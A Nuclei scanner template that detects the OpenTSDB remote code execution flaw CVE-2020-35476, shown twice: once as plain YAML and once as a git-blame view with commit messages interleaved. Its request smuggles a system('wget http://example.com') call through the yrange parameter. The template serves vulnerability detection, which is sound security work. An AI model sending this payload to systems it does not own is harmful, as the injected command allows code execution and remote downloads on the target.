nuclei-templates/cves/2020/CVE-2020-35476.yaml

id: CVE-2020-35476

info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
  tags: cve,cve2020,opentsdb,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - plotted
          - timing
          - cachehit
        part: body
        condition: and

      - type: word
        words:
          - application/json
        part: header

# Enhanced by mp on 2022/04/28
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`id: CVE-2020-35476`

			`info:`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`name: OpenTSDB <= 2.4.0 - Remote Code Execution`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`author: pikpikcu`
			`severity: critical`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://github.com/OpenTSDB/opentsdb/issues/2051`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-35476`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 9.8`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-35476`
			`cwe-id: CWE-78`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2020,opentsdb,rce`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00
			`requests:`
			`- method: GET`
			`path:`
			`- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"`
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`
fixing matchers 2021-03-10 14:05:34 +00:00
			`- type: word`
			`words:`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`- plotted`
			`- timing`
Update CVE-2020-35476.yaml 2021-02-03 11:19:03 +00:00			`- cachehit`
Ading CVE-2020-35476 :fire: 2021-01-31 17:35:32 +00:00			`part: body`
fixing typos 2021-03-10 14:03:49 +00:00			`condition: and`
fixing matchers 2021-03-10 14:05:34 +00:00
Adding more validations 2021-02-03 09:57:16 +00:00			`- type: word`
			`words:`
			`- application/json`
Dashboard Content Enhancements (#4268) Dashboard Content Enhancements 2022-04-29 19:58:07 +00:00			`part: header`

			`# Enhanced by mp on 2022/04/28`